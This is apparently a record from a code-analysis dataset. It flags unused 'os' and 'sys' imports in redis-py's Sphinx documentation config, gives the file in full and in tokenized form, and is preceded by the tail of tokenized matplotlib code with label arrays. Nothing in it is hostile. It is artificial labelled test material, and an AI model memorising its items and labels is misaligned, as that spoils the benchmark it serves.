"ax_", "._", "set\\u", "ylabel_", "(_", "r", "\"$", "u", "$\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "._", "set\\u", "xlim_", "(_", "0_", ",_", "0.6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ax_", "=_", "axes_", "._", "flat_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ax_", "._", "plot_", "(_", "x", "\\u", "exact_", ",_", "p", "\\u", "exact_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "._", "scatter_", "(_", "bin", "\\u", "centers_", ",_", "p", "\\u", "bin_", ",_", "marker_", "=_", "\"", "x", "\"_", ",_", "s_", "=_", "7_", ",_", "color_", "=_", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ax_", "._", "set\\u", "ylabel_", "(_", "r", "\"$", "p", "$\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "._", "set\\u", "xlim_", "(_", "0_", ",_", "0.6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "._", "set\\u", "xlabel_", "(_", "r", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plt_", "._", "subplot", "s", "\\u", "adjust_", "(_", "hspace", "_", "=_", "0.25_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fig_", "._", "set\\u", "size", "\\u", "inches_", "(_", "4.5_", ",_", "8.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plt_", "._", "savefig_", "(_", "\"", "sed", "ov", "\\u", "compare", ".", "png", "\"_", ",_", "bbox", "\\u", "inches_", "=_", "\"", "tig", "ht", "\"_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
andymccurdy/redis-py/docs/conf.py
[ { "content": "# -*- coding: utf-8 -*-\n#\n# redis-py documentation build configuration file, created by\n# sphinx-quickstart on Fri Feb 8 00:47:08 2013.\n#\n# This file is execfile()d with the current directory set to its containing\n# dir.\n#\n# Note that not all possible configuration values are present in this\n# autogenerated file.\n#\n# All configuration values have a default; values that are commented out\n# serve to show the default.\n\nimport os\nimport sys\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#sys.path.insert(0, os.path.abspath('.'))\n\n# -- General configuration ----------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom ones.\nextensions = []\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix of source filenames.\nsource_suffix = '.rst'\n\n# The encoding of source files.\n#source_encoding = 'utf-8-sig'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = u'redis-py'\ncopyright = u'2013, Andy McCurdy, Mahdi Yusuf'\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n# The short X.Y version.\nversion = '2.7.2'\n# The full version, including alpha/beta/rc tags.\nrelease = '2.7.2'\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#language = None\n\n# There are two options for replacing |today|: either, you set today to some\n# non-false value, then it is used:\n#today = ''\n# Else, today_fmt is used as the format for a strftime call.\n#today_fmt = '%B %d, %Y'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\nexclude_patterns = ['_build']\n\n# The reST default role (used for this markup: `text`) to use for all\n# documents.\n#default_role = None\n\n# If true, '()' will be appended to :func: etc. cross-reference text.\n#add_function_parentheses = True\n\n# If true, the current module name will be prepended to all description\n# unit titles (such as .. function::).\n#add_module_names = True\n\n# If true, sectionauthor and moduleauthor directives will be shown in the\n# output. They are ignored by default.\n#show_authors = False\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n# A list of ignored prefixes for module index sorting.\n#modindex_common_prefix = []\n\n\n# -- Options for HTML output --------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\nhtml_theme = 'default'\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further. For a list of options available for each theme, see the\n# documentation.\n#html_theme_options = {}\n\n# Add any paths that contain custom themes here, relative to this directory.\n#html_theme_path = []\n\n# The name for this set of Sphinx documents. If None, it defaults to\n# \"<project> v<release> documentation\".\n#html_title = None\n\n# A shorter title for the navigation bar. Default is the same as html_title.\n#html_short_title = None\n\n# The name of an image file (relative to this directory) to place at the top\n# of the sidebar.\n#html_logo = None\n\n# The name of an image file (within the static path) to use as favicon of the\n# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\n#html_favicon = None\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,\n# using the given strftime format.\n#html_last_updated_fmt = '%b %d, %Y'\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\n#html_use_smartypants = True\n\n# Custom sidebar templates, maps document names to template names.\n#html_sidebars = {}\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n#html_additional_pages = {}\n\n# If false, no module index is generated.\n#html_domain_indices = True\n\n# If false, no index is generated.\n#html_use_index = True\n\n# If true, the index is split into individual pages for each letter.\n#html_split_index = False\n\n# If true, links to the reST sources are added to the pages.\n#html_show_sourcelink = True\n\n# If true, \"Created using Sphinx\" is shown in the HTML footer. Default is True.\n#html_show_sphinx = True\n\n# If true, \"(C) Copyright ...\" is shown in the HTML footer. Default is True.\n#html_show_copyright = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a <link> tag referring to it. The value of this option must be the\n# base URL from which the finished HTML is served.\n#html_use_opensearch = ''\n\n# This is the file name suffix for HTML files (e.g. \".xhtml\").\n#html_file_suffix = None\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'redis-pydoc'\n\n\n# -- Options for LaTeX output -------------------------------------------------\n\nlatex_elements = {\n # The paper size ('letterpaper' or 'a4paper').\n #'papersize': 'letterpaper',\n\n # The font size ('10pt', '11pt' or '12pt').\n #'pointsize': '10pt',\n\n # Additional stuff for the LaTeX preamble.\n #'preamble': '',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title, author, documentclass\n# [howto/manual]).\nlatex_documents = [\n ('index', 'redis-py.tex', u'redis-py Documentation',\n u'Andy McCurdy, Mahdi Yusuf', 'manual'),\n]\n\n# The name of an image file (relative to this directory) to place at the top of\n# the title page.\n#latex_logo = None\n\n# For \"manual\" documents, if this is true, then toplevel headings are parts,\n# not chapters.\n#latex_use_parts = False\n\n# If true, show page references after internal links.\n#latex_show_pagerefs = False\n\n# If true, show URL addresses after external links.\n#latex_show_urls = False\n\n# Documents to append as an appendix to all manuals.\n#latex_appendices = []\n\n# If false, no module index is generated.\n#latex_domain_indices = True\n\n\n# -- Options for manual page output -------------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n ('index', 'redis-py', u'redis-py Documentation',\n [u'Andy McCurdy, Mahdi Yusuf'], 1)\n]\n\n# If true, show URL addresses after external links.\n#man_show_urls = False\n\n\n# -- Options for Texinfo output -----------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n# dir menu entry, description, category)\ntexinfo_documents = [\n ('index', 'redis-py', u'redis-py Documentation',\n u'Andy McCurdy, Mahdi Yusuf', 'redis-py',\n 'One line description of project.', 'Miscellaneous'),\n]\n\n# Documents to append as an appendix to all manuals.\n#texinfo_appendices = []\n\n# If false, no module index is generated.\n#texinfo_domain_indices = True\n\n# How to display URL addresses: 'footnote', 'no', or 'inline'.\n#texinfo_show_urls = 'footnote'\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import os", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 9 }, { "span": "import sys", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 10 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "redis", "-", "py", " ", "documentation", " ", "build", " ", "configura", "tion", " ", "file", ",", " ", "created", " ", "by_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sphinx", "-", "quicks", "tart", " ", "on", " ", "Fri", " ", "Fe", "b", " ", " ", "8", " ", "00", ":", "4", "7", ":", "0", "8", " ", "2013", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "file", " ", "is", " ", "execfile", "()", "d", " ", "with", " ", "the", " ", "current", " ", "director", "y", " ", "set", " ", "to", " ", "its", " ", "contain", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "dir", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Not", "e", " ", "tha", "t", " ", "not", " ", "all", " ", "possib", "le", " ", "configura", "tion", " ", "values", " ", "are", " ", "presen", "t", " ", "in", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "autogen", "erate", "d", " ", "file", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", " ", "configura", "tion", " ", "values", " ", "have", " ", "a", " ", "default", ";", " ", "values", " ", "tha", "t", " ", "are", " ", "commente", "d", " ", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "serve", " ", "to", " ", "show", " ", "the", " ", "default", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "extensi", "ons", " ", "(", "or", " ", "module", "s", " ", "to", " ", "document", " ", "with", " ", "autod", "oc", ")", " ", "are", " ", "in", " ", "anot", "her", " ", "director", "y", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "these", " ", "director", "ies", " ", "to", " ", "sys", ".", "path", " ", "here", ".", " ", "If", " ", "the", " ", "director", "y", " ", "is", " ", "relative", " ", "to", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "documentation", " ", "root", ",", " ", "use", " ", "os", ".", "path", ".", "abs", "path", " ", "to", " ", "make", " ", "it", " ", "abs", "olute", ",", " ", "like", " ", "shown", " ", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "sys", ".", "path", ".", "insert", "(", "0", ",", " ", "os", ".", "path", ".", "abs", "path", "('.", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "General", " ", "configura", "tion", " ", "--------------", "--------------", "--------------", "----------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "your", " ", "documentation", " ", "need", "s", " ", "a", " ", "minima", "l", " ", "Sph", "inx", " ", "version", ",", " ", "state", " ", "it", " ", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "need", "s", "\\u", "sphinx", " ", "=", " ", "'", "1.0", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "Sph", "inx", " ", "extensi", "on", " ", "module", " ", "names", " ", "here", ",", " ", "as", " ", "string", "s", ".", " ", "The", "y", " ", "can", " ", "be_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "extensi", "ons", " ", "comi", "ng", " ", "with", " ", "Sph", "inx", " ", "(", "named", " ", "'", "sphinx", ".", "ext", ".*", "')", " ", "or", " ", "your", " ", "custom", " ", "ones", "._", "\\u\\u\\uNL\\u\\u\\u_", "extensions_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "template", "s", " ", "here", ",", " ", "relative", " ", "to", " ", "this", " ", "director", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "template", "s", "\\u", "path_", "=_", "[_", "'\\u", "template", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "suff", "ix", " ", "of", " ", "source", " ", "filename", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "source", "\\u", "suffix_", "=_", "'.", "rst", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "encoding", " ", "of", " ", "source", " ", "files", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "source", "\\u", "encoding", " ", "=", " ", "'", "utf", "-", "8", "-", "sig", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "master", " ", "toc", "tree", " ", "document", "._", "\\u\\u\\uNL\\u\\u\\u_", "master", "\\u", "doc_", "=_", "'", "index", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "General", " ", "informati", "on", " ", "abo", "ut", " ", "the", " ", "project", "._", "\\u\\u\\uNL\\u\\u\\u_", "project_", "=_", "u", "'", "redis", "-", "py", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "copyright_", "=_", "u", "'", "2013", ",", " ", "And", "y", " ", "Mc", "Cur", "dy", ",", " ", "Ma", "hdi", " ", "Yu", "suf", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "version", " ", "info", " ", "for", " ", "the", " ", "project", " ", "you", "'", "re", " ", "document", "ing", ",", " ", "acts", " ", "as", " ", "replace", "ment", " ", "for_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "|", "version", "|", " ", "and", " ", "|", "release", "|", ",", " ", "als", "o", " ", "used", " ", "in", " ", "vari", "ous", " ", "other", " ", "place", "s", " ", "through", "out", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bui", "lt", " ", "document", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "short", " ", "X", ".", "Y", " ", "version", "._", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "'", "2.7", ".2", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "full", " ", "version", ",", " ", "inclu", "ding", " ", "alpha", "/", "beta", "/", "rc", " ", "tags", "._", "\\u\\u\\uNL\\u\\u\\u_", "release_", "=_", "'", "2.7", ".2", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "language", " ", "for", " ", "content", " ", "autogen", "erate", "d", " ", "by", " ", "Sph", "inx", ".", " ", "Refer", " ", "to", " ", "documentation", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "a", " ", "list", " ", "of", " ", "support", "ed", " ", "language", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "language", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "There", " ", "are", " ", "two", " ", "options", " ", "for", " ", "repla", "cing", " ", "|", "toda", "y", "|", ":", " ", "eit", "her", ",", " ", "you", " ", "set", " ", "toda", "y", " ", "to", " ", "some", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "non", "-", "fal", "se", " ", "value", ",", " ", "then", " ", "it", " ", "is", " ", "used", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "toda", "y", " ", "=", " ", "''_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Else", ",", " ", "toda", "y", "\\u", "fmt", " ", "is", " ", "used", " ", "as", " ", "the", " ", "format", " ", "for", " ", "a", " ", "strf", "time", " ", "call", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "toda", "y", "\\u", "fmt", " ", "=", " ", "'%", "B", " ", "%", "d", ",", " ", "%", "Y", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "List", " ", "of", " ", "pattern", "s", ",", " ", "relative", " ", "to", " ", "source", " ", "director", "y", ",", " ", "tha", "t", " ", "match", " ", "files", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "director", "ies", " ", "to", " ", "ignore", " ", "whe", "n", " ", "look", "ing", " ", "for", " ", "source", " ", "files", "._", "\\u\\u\\uNL\\u\\u\\u_", "exclu", "de", "\\u", "patterns_", "=_", "[_", "'\\u", "build", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "re", "ST", " ", "default", " ", "role", " ", "(", "used", " ", "for", " ", "this", " ", "markup", ":", " ", "`", "text", "`)", " ", "to", " ", "use", " ", "for", " ", "all_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "document", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "default", "\\u", "role", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "'(", ")'", " ", "will", " ", "be", " ", "append", "ed", " ", "to", " ", ":", "func", ":", " ", "etc", ".", " ", "cross", "-", "reference", " ", "text", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "\\u", "function", "\\u", "parenthes", "es", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "the", " ", "current", " ", "module", " ", "name", " ", "will", " ", "be", " ", "prepend", "ed", " ", "to", " ", "all", " ", "description_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "unit", " ", "titles", " ", "(", "suc", "h", " ", "as", " ", "..", " ", "function", "::", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "\\u", "module", "\\u", "names", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "section", "author", " ", "and", " ", "module", "author", " ", "directive", "s", " ", "will", " ", "be", " ", "shown", " ", "in", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "output", ".", " ", "The", "y", " ", "are", " ", "ignore", "d", " ", "by", " ", "default", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "show", "\\u", "author", "s", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "the", " ", "Pyg", "ment", "s", " ", "(", "synta", "x", " ", "highlight", "ing", ")", " ", "style", " ", "to", " ", "use", "._", "\\u\\u\\uNL\\u\\u\\u_", "pyg", "ment", "s", "\\u", "style_", "=_", "'", "sphinx", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "list", " ", "of", " ", "ignore", "d", " ", "prefix", "es", " ", "for", " ", "module", " ", "index", " ", "sorting", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "modi", "nde", "x", "\\u", "common", "\\u", "prefix", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "HTM", "L", " ", "output", " ", "--------------", "--------------", "--------------", "--------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "them", "e", " ", "to", " ", "use", " ", "for", " ", "HTM", "L", " ", "and", " ", "HTM", "L", " ", "Help", " ", "page", "s", ".", " ", " ", "See", " ", "the", " ", "documentation", " ", "for_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "a", " ", "list", " ", "of", " ", "bui", "lti", "n", " ", "themes", "._", "\\u\\u\\uNL\\u\\u\\u_", "html", "\\u", "theme_", "=_", "'", "default", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Them", "e", " ", "options", " ", "are", " ", "them", "e-", "specific", " ", "and", " ", "customize", " ", "the", " ", "look", " ", "and", " ", "feel", " ", "of", " ", "a", " ", "theme_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "fur", "ther", ".", " ", " ", "For", " ", "a", " ", "list", " ", "of", " ", "options", " ", "avail", "able", " ", "for", " ", "each", " ", "them", "e", ",", " ", "see", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "documentation", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "them", "e\\u", "options", " ", "=", " ", "{}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "custom", " ", "themes", " ", "here", ",", " ", "relative", " ", "to", " ", "this", " ", "director", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "them", "e\\u", "path", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "for", " ", "this", " ", "set", " ", "of", " ", "Sph", "inx", " ", "document", "s", ".", " ", " ", "If", " ", "Non", "e", ",", " ", "it", " ", "default", "s", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"<", "project", ">", " ", "v", "<", "release", ">", " ", "documentation", "\".", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "title", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "shorter", " ", "title", " ", "for", " ", "the", " ", "navigation", " ", "bar", ".", " ", " ", "Default", " ", "is", " ", "the", " ", "same", " ", "as", " ", "html", "\\u", "title", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "short", "\\u", "title", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "an", " ", "image", " ", "file", " ", "(", "relative", " ", "to", " ", "this", " ", "director", "y", ")", " ", "to", " ", "place", " ", "at", " ", "the", " ", "top_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "the", " ", "sidebar", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "logo", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "an", " ", "image", " ", "file", " ", "(", "within", " ", "the", " ", "static", " ", "path", ")", " ", "to", " ", "use", " ", "as", " ", "fav", "icon", " ", "of", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "docs", ".", " ", " ", "Thi", "s", " ", "file", " ", "shou", "ld", " ", "be", " ", "a", " ", "Window", "s", " ", "icon", " ", "file", " ", "(.", "ico", ")", " ", "bei", "ng", " ", "16", "x1", "6", " ", "or", " ", "32", "x3", "2_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pixel", "s", " ", "large", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "fav", "icon", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "custom", " ", "static", " ", "files", " ", "(", "suc", "h", " ", "as", " ", "style", " ", "sheet", "s", ")", " ", "here", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "relative", " ", "to", " ", "this", " ", "director", "y", ".", " ", "The", "y", " ", "are", " ", "copie", "d", " ", "after", " ", "the", " ", "bui", "lti", "n", " ", "static", " ", "files", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "so", " ", "a", " ", "file", " ", "named", " ", "\"", "default", ".", "css", "\"", " ", "will", " ", "overwrit", "e", " ", "the", " ", "bui", "lti", "n", " ", "\"", "default", ".", "css", "\".", "_", "\\u\\u\\uNL\\u\\u\\u_", "html", "\\u", "static", "\\u", "path_", "=_", "[_", "'\\u", "static", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "not", " ", "''", ",", " ", "a", " ", "'", "Las", "t", " ", "update", "d", " ", "on", ":'", " ", "timestamp", " ", "is", " ", "inserted", " ", "at", " ", "every", " ", "page", " ", "bottom", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "usi", "ng", " ", "the", " ", "give", "n", " ", "strf", "time", " ", "format", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "last", "\\u", "update", "d\\u", "fmt", " ", "=", " ", "'%", "b", " ", "%", "d", ",", " ", "%", "Y", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "Sma", "rty", "Pant", "s", " ", "will", " ", "be", " ", "used", " ", "to", " ", "convert", " ", "quote", "s", " ", "and", " ", "dashes", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "typo", "graphical", "ly", " ", "correct", " ", "entit", "ies", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "use", "\\u", "smart", "ypa", "nts", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Custom", " ", "sidebar", " ", "template", "s", ",", " ", "maps", " ", "document", " ", "names", " ", "to", " ", "template", " ", "names", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "sidebar", "s", " ", "=", " ", "{}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Addition", "al", " ", "template", "s", " ", "tha", "t", " ", "shou", "ld", " ", "be", " ", "render", "ed", " ", "to", " ", "page", "s", ",", " ", "maps", " ", "page", " ", "names", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "template", " ", "names", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "addition", "al", "\\u", "page", "s", " ", "=", " ", "{}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "module", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "domain", "\\u", "indice", "s", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "use", "\\u", "index", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "the", " ", "index", " ", 